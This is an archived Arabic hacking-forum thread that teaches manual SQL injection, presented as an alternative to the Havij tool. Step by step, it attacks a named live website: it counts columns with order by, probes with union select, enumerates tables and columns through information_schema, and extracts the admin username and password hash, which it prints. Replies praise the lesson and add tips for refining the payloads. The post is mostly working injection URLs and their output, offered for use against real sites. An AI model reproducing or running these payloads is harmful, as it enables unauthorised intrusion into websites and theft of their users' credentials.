:: vBspiders Professional Network :: - درس إحترافي في SQL يدوي في حالة إيجاد صعوبة في Havij

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات (http://www.vbspiders.com/vb/forumdisplay.php?f=38)

درس إحترافي في SQL يدوي في حالة إيجاد صعوبة في Havij

http://img6.imageshack.us/img6/2904/139815193.gif
http://img138.imageshack.us/img138/9243/eannfr.gif
http://img143.imageshack.us/img143/7308/welcomeh.png

تحميل فيديو :

http://1.bp.blogspot.com/-m_EUB6LrgO...oad%2Blogo.jpg

http://img138.imageshack.us/img138/9243/eannfr.gif

وهذا الشرح :

كود:

أهلاً اليوم درسنا MANUAL SQL INJECTION يعني SQL يدوي بدون havij :

أنا وجدت موقع مصاب . أضف ' للتاكد. تمام



ألان نحاول إيجاد عدد الأعمدة وذلك بإضافة "order+by+رقم عشواي حتى يظهر الخطا"

فالنبدا .



ظهر الخطا في رقم 10 إذاً عدد الأعمدة 9. إذن سيكون الموقع هكذا : 

http://arabexperts.me/details_article_old.php?id=294+order+by+9

ألان إكتب "union+select+عدد الأعمدة مترابطة " هكذا : 

union+select+1,2,3,4,5,6,7,8,9

ليكون الموقع هكذا :

http://arabexperts.me/details_article_old.php?id=294+union+select+1,2,3,4,5,6,7,8,9

ظهر لنا رقم (عادةً يظهر رقم واحد لكن هذا خطا من الموقع) وهذا الرقم هو : 2

إذن فالعمود رقم 2 إكتب version() لمعرفة نوع الموقع 



http://arabexperts.me/details_article_old.php?id=294+union+select+1,version(),3,4,5,6,7,8,9

5.0.91

ثم إكتب database() لمعرفة إسم الdatabase



http://arabexperts.me/details_article_old.php?id=294+union+select+1,database(),3,4,5,6,7,8,9

arabexp1_experts 

ألان إكتب table_name وأضف للموقع هذا : 

+from+information_schema.tables--

ليكون الموقع هكذا :

http://arabexperts.me/details_article_old.php?id=294+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables--

رائع ألان اعطانا الأعمدة .

ألان ابحث عن عمود يكون إسمه قريباً من أدمن ك(admin،users،members،administrator.....)

رائع وجدت العمود users

ألان نستخرج أعمدة هذا العمود وذلك بإضافة column_name للعمود 2 وإضافة هذا :

+from%20information_schema.columns%20WHERE%20table_name=char(117,115,101,114,115)--

117,115,101,114,115 : users

يمكنكم تبديلها إن هنا :

http://getyourwebsitehere.com/jswb/text_to_ascii.html 

إنظر ....

رائع وجدنا الأعمدة

نحن نحتاج الأدمين والباسورد إذن الأعمدة هي : username و password

إذن أضف للعمود 2 : concat(username,0x3a,password)

و+from+users--

users: إسم العمود 

ليكون الموقع هكذا :

http://arabexperts.me/details_article_old.php?id=294+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9+from+users--



Admin:582301962f863541fdcefd744296f8b4 

شكراً

درس من ahmdosa http://www.facebook.com/profile.php?id=100002460215113

درس جميل لك جزيل الشكر

يعطيك العافيه ما قصرت

سلمت يمينك

السلام عليكم
بالتوفيق لك اخي
للتسهيل عليك يفضل استخدام الهكس نيابة عن الشار
واستخدام جروب كونكات نيابة عن الكنكات

:::::::::::::::::::::::::
::::::::::::::
::::::

سلمت اناملك على الدرس

تقبل مرورى

يعطيك العافيه ما قصرت

يعطيك العافيه ^_^